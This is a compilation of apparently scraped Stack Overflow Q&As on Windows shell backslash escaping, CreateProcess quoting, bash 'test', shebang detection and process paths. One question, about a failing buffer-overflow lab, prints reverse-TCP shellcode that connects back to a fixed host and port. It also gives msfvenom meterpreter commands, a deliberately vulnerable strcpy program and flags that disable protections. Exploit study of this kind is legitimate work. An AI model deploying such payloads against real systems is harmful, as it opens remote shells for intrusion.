why does sh.exe swallow `\` and how to escape `\`? - windows

sh -c 'ls C:\Users\timothee'
gives:
ls: cannot access 'C:Userstimothee': No such file or directory
sh -c 'ls C:\\Users\\timothee'
gives:
ls: cannot access 'C:Userstimothee': No such file or directory
these work:
sh -c 'ls C:\\\Users\\\timothee'
sh -c 'ls C:/Users/timothee'
but isn't there a better way?
I'm trying to programmatically call a shell (bash or sh) command using CreateProcess and escape it properly, but the weird swallowing of backslash makes this awkward. See C example below:
is this the best way below, using 6(!) backward slashes?
(my full program would have to convert an input eg echo C:\\Users\\timothee to this:
echo C:\\\\\\Users\\\\\\timothee)
#ifdef _WIN32
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <cstdlib>
#include <string>
#include <algorithm>
#include <stdio.h>
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
void _tmain2(TCHAR *argv)
{
// adapted from https://stackoverflow.com/questions/42531/how-do-i-call-createprocess-in-c-to-launch-a-windows-executable
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
// Start the child process.
if( !CreateProcess( NULL, // No module name (use command line)
argv, // Command line
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
FALSE, // Set handle inheritance to FALSE
0, // No creation flags
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
&si, // Pointer to STARTUPINFO structure
&pi ) // Pointer to PROCESS_INFORMATION structure
)
{
printf( "CreateProcess failed (%d).\n", GetLastError() );
return;
}
// Wait until child process exits.
WaitForSingleObject( pi.hProcess, INFINITE );
// Close process and thread handles.
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
}
int main (int argc, char *argv[]) {
//char s[] = "echo ok1 && echo ok2"; // bad (prints: ok1 && echo ok2)
//char s[] = "sh -c 'echo ok1 && echo ok2'"; // ok: prints ok1\nok2
//char s[] = "sh -c 'echo C:\\Users\\timothee\\'"; // error
//char s[] = "sh -c 'echo C:/Users/timothee'"; // ok but I want \, not / as some windows program don't understand /
//char s[] = "sh -c 'echo C:\\\\Users\\\\timothee'"; // BUG: prints: C:Userstimothee
char s[] = "sh -c 'echo C:\\\\\\Users\\\\\\timothee'"; // prints: C:\Users\timothee
_tmain2(s);
return 0;
}
#endif //win32
links:
https://github.com/vim/vim/issues/371
https://github.com/boot2docker/boot2docker-cli/issues/301

The problem is that the back-slash needs to be escaped twice:
First by the shell where you invoke the sh command
Then a second time by the sh command itself.
So when you use the command-line
sh -c 'ls C:\\\Users\\\timothee'
the running shell will remove one back-slash and pass 'ls C:\\Users\\timothee to the sh command.
The sh command in turn needs that double back-slash in its own processing, and will pass C:\Users\timothee to the ls command.

Related

How shell parameters are parsed?

I used this simple script,named echo_arg in a msys shell
echo $1
echo $2
echo $3
For these 2 cases, called from CLI,
$ C:/msys/1.0/bin/sh.exe -c "C:/msys/1.0/bin/sh.exe echo_arg a "b" c"
$ C:/msys/1.0/bin/sh.exe -c "C:/msys/1.0/bin/sh.exe echo_arg a \"b\" c"
the output was
a
b
c
But CreateProcess function in a C program did not give the same result (compilation with mingw-w64, thread : win32, exception : seh, version : 7.3.0 )
#include <windows.h>
#include <stdio.h>
void main( int argc, char *argv[] )
{
int i;
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
char * cmd[] = {
"C:/msys/1.0/bin/sh.exe -c \"C:/msys/1.0/bin/sh.exe echo_arg a \"b\" c\"", \
"C:/msys/1.0/bin/sh.exe -c \"C:/msys/1.0/bin/sh.exe echo_arg a \\\"b\\\" c\"", \
"C:/msys/1.0/bin/sh.exe -c \"/bin/sh.exe echo_arg a \\\"b\\\" c\"" } ;
for (i=0;i<3;i++) {
printf("\t%s\n",cmd[i]);
CreateProcess(NULL, cmd[i] , NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
WaitForSingleObject( pi.hProcess, INFINITE );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread ); }
}
Ouput :
C:/msys/1.0/bin/sh.exe -c "C:/msys/1.0/bin/sh.exe echo_arg a "b" c"abc
C:/msys/1.0/bin/sh.exe -c "C:/msys/1.0/bin/sh.exe echo_arg a \"b\" c"ab c
C:/msys/1.0/bin/sh.exe -c "/bin/sh.exe echo_arg a \"b\" c"abc
Why, in the second case, b and c are not separated ($2="b c" and $3 is empty) ? And why case 3 worked.
Only for information, I am not a mad man that likes to play with " \ \" / ... I have encountered this problem when I was trying to install GNU MP library (OS : windows 10). It did not work and it was the beginning of a long story before I found the cause.

Trying to understand behavior of `test <command>` in Bash

Suppose I have this simple C program (test.c):
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
exit (1);
}
Obviously, the exit code of this program is 1:
$ gcc test.c
$ ./a.out
$ echo $?
1
But when I run test ./a.out, the result of the test doesn't match the exit code:
$ test ./a.out
$ echo $?
0
So what is actually being tested? Why is the result of the test 0?
test is a Bash built-in, often invoked by the alternative name [.
The last command (test ./a.out) exits with status 0 indicating success because test ./a.out checks whether ./a.out as a string has one or more characters in it (is not an empty string), and because it isn't an empty string, returns success or 0. The test ./a.out command line does not execute your a.out program — as you could see by printing something from within your program.
As written, your program doesn't need the <stdio.h> header or the arguments to main() — it should be int main(void). You could lose <stdlib.h> too if you use return 1; instead of exit(1);:
int main(void)
{
return 1;
}
To use the exit status in an if condition in the shell, just use it directly:
if ./a.out ; then
echo Success
else
echo Failure
fi
Rule of Thumb: Don't call C programs test because you will be confused sooner or later — usually sooner rather than later.
Your C program returns "1" to the shell (I'd prefer"return()" over exit()", but...)
If you wanted to actually run "a.out" in conjunction with the "*nix" test command, you'd use syntax like:
`./a.out` # classic *nix
or
$(./a.out) # Bash
If you did that, however, "test" would read the value printed to "stdout", and NOT the value returned by your program on exit.
You can read more about test here:
test(1) - Linux man page
The classic test command: Bash hackers wiki
Understanding exit codes and how to use them in Bash scripts
Here is an example:
C program:
#include <stdio.h>
int main (int argc, char *argv[]) {
printf("%d\n", argc);
return 2;
}
Shell script:
echo "Assign RETVAL the return value of a.out:"
./a.out RETVAL=$? echo " " RETVAL=$RETVAL
echo "Assign RETVAL the value printed to stdout by a.out:"
RETVAL=$(./a.out) echo " " RETVAL=$RETVAL
echo "Turn an 'trace' and run a.out with 'test':"
set -x
if [ $(./a.out) -eq 1 ]; then
echo "One"
else
echo "Not One"
fi
Example output:
paulsm#vps2:~$ ./tmp.sh
Assign RETVAL the return value of a.out:
1
RETVAL=2
Assign RETVAL the value printed to stdout by a.out:
RETVAL=1
Turn an 'trace' and run a.out with 'test':
+++ ./a.out
++ '[' 1 -eq 1 ']'
++ echo One
One
ALSO:
A couple of points that have already been mentioned:
a. return 1 is generally a better choice than exit (1).
b. "test" is probably a poor name for your executable - because it collides with the built-in "test" command. Something like "test_return" might be a better choice.

How can interpreter detect being called from a script as opposed to command line?

As "is known", a script my-script-file which starts with
#!/path/to/interpreter -arg1 val1 -arg2 val2
is executed by exec calling /path/to/interpreter with 2(!) arguments:
-arg1 val1 -arg2 val2
my-script-file
(and not, as one might naively expect, with 5 arguments
-arg1
val1
-arg2
val2
my-script-file
as has been explained in many previous questions, e.g.,
https://stackoverflow.com/a/4304187/850781).
My problem is from the POV of an interpreter developer, not script writer.
How do I detect from inside the interpreter executable that I was called from shebang as opposed to the command line?
Then I will be able to decide whether I need to split my first argument
by space to go from "-arg1 val1 -arg2 val2" to ["-arg1", "val1", "-arg2", "val2"] or not.
The main issue here is script files named with spaces in them.
If I always split the 1st argument, I will fail like this:
$ my-interpreter "weird file name with spaces"
my-interpreter: "weird": No such file or directory
On Linux, with GNU libc or musl libc, you can use the aux-vector to distinguish the two cases.
Here is some sample code:
#define _GNU_SOURCE 1
#include <stdio.h>
#include <errno.h>
#include <sys/auxv.h>
#include <sys/stat.h>
int
main (int argc, char* argv[])
{
printf ("argv[0] = %s\n", argv[0]);
/* https://www.gnu.org/software/libc/manual/html_node/Error-Messages.html */
printf ("program_invocation_name = %s\n", program_invocation_name);
/* http://man7.org/linux/man-pages/man3/getauxval.3.html */
printf ("auxv[AT_EXECFN] = %s\n", (const char *) getauxval (AT_EXECFN));
/* Determine whether the last two are the same. */
struct stat statbuf1, statbuf2;
if (stat (program_invocation_name, &statbuf1) >= 0
&& stat ((const char *) getauxval (AT_EXECFN), &statbuf2) >= 0)
printf ("same? %d\n", statbuf1.st_dev == statbuf2.st_dev && statbuf1.st_ino == statbuf2.st_ino);
}
Result for a direct invocation:
$ ./a.out
argv[0] = ./a.out
program_invocation_name = ./a.out
auxv[AT_EXECFN] = ./a.out
same? 1
Result for an invocation through a script that starts with #!/home/bruno/a.out:
$ ./a.script
argv[0] = /home/bruno/a.out
program_invocation_name = /home/bruno/a.out
auxv[AT_EXECFN] = ./a.script
same? 0
This approach is, of course, highly unportable: Only Linux has the getauxv function. And there are surely cases where it does not work well.

Why reverse_tcp Shellcode doesn't work?

I am using this shellcode:
\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\xc0\xa8\x0f\x81\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
from http://shell-storm.org/shellcode/files/shellcode-883.php
When I execute the .c program, it works, it receives connection and I can execute commands without any problem.
The problem is when injecting it in a buffer overflow, from the gdb: I receive the connection (which means that shellcode, offset and EIP are allright) and I am using the right IP and PORT, but right away, it just crashes.
I have tried with other shellcodes, with:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.15.129 lport=1337 -b '\x00' -f c
and:
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.15.129 lport=1337 -b '\x00\xff\x09\x0a' -e x86/shikata_ga_nai -f c
And I receive the connection well, but.... right away, it just crashes and can't execute commands.
Mentioning that this is my .c vulnerable code:
#include <string.h>
#include <stdio.h>
void func(char *arg){
char nombre[90];
strcpy(nombre,arg);
printf ("\nBienvenido a Linux Exploiting %s\n\n", nombre);
}
int main (int argc, char *argv[]){
if (argc != 2){
printf ("Uso %s Nombre\n", argv[0]);
exit(0);
}
func(argv[1]);
printf("Fin del programa\n");
return 0;
}
I inject: Shellcode + (102-74 (or -98 with the metasploit payloads))x"A" + RET (I get the addr alright by setting a break after the strcpyand getting where the buffer starts exactly and I know it works, because as I said, I receive the connection (If I change a byte anywhere I don't receive anything).
And I am compiling it with: //gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack -g prog2.c -o prog2

Get real path of application from pid?

How can I get the process details like name of application & real path of application from process id?
I am using Mac OS X.
It's quite easy to get the process name / location if you know the PID, just use proc_name or proc_pidpath. Have a look at the following example, which provides the process path:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <libproc.h>
int main (int argc, char* argv[])
{
pid_t pid; int ret;
char pathbuf[PROC_PIDPATHINFO_MAXSIZE];
if ( argc > 1 ) {
pid = (pid_t) atoi(argv[1]);
ret = proc_pidpath (pid, pathbuf, sizeof(pathbuf));
if ( ret <= 0 ) {
fprintf(stderr, "PID %d: proc_pidpath ();\n", pid);
fprintf(stderr, " %s\n", strerror(errno));
} else {
printf("proc %d: %s\n", pid, pathbuf);
}
}
return 0;
}
You can use the Activity Monitor - http://en.wikipedia.org/wiki/Activity_Monitor
Or in the Terminal App you can use:
ps xuwww -p PID
PIDis the process id you are looking for
More help on 'ps`command you can find with
man ps
Try use lsof
example:
lsof -p 1066 -Fn | awk 'NR==2{print}' | sed "s/n\//\//"
output:
/Users/user/Library/Application Support/Sublime Text 2/Packages
If the PID is the PID of a "user application", then you can get the NSRunningApplication of the app like that:
NSRunningApplication * app = [NSRunningApplication
runningApplicationWithProcessIdentifier:pid
];
And to print the path of the executable:
NSLog(#"Executable of app: %#", app.executableURL.path);
the app bundle itself is here
NSLog(#"Executable of app: %#", app.bundleURL.path);
However this won't work with system or background processes, it's limited to user apps (those typically visible in the dock after launch). The NSRunningApplication object allows to to check if the app is ative, to hide/unhide it and do all other kind of neat stuff.
Just thought I mention it here for completeness. If you want to work with arbitrary processes, then the accepted answer is of course better.
I would like to make a better ssh-copy-id in bash only!!
For that, i have to know where is sshd to ask him his actual config.
On some system i have multiple sshd and which is not my friend.
Also on some macOS the ps command didn't show the full path for sshd.
lsof -p $PPID | grep /sshd | awk '{print $9}'
this return
/usr/sbin/sshd
after i could ask for
sudo /usr/sbin/sshd -T | grep authorizedkeysfile
this return, on some system
authorizedkeysfile .ssh/authorized_keys
so i have to put in .ssh/authorized_keys

Resources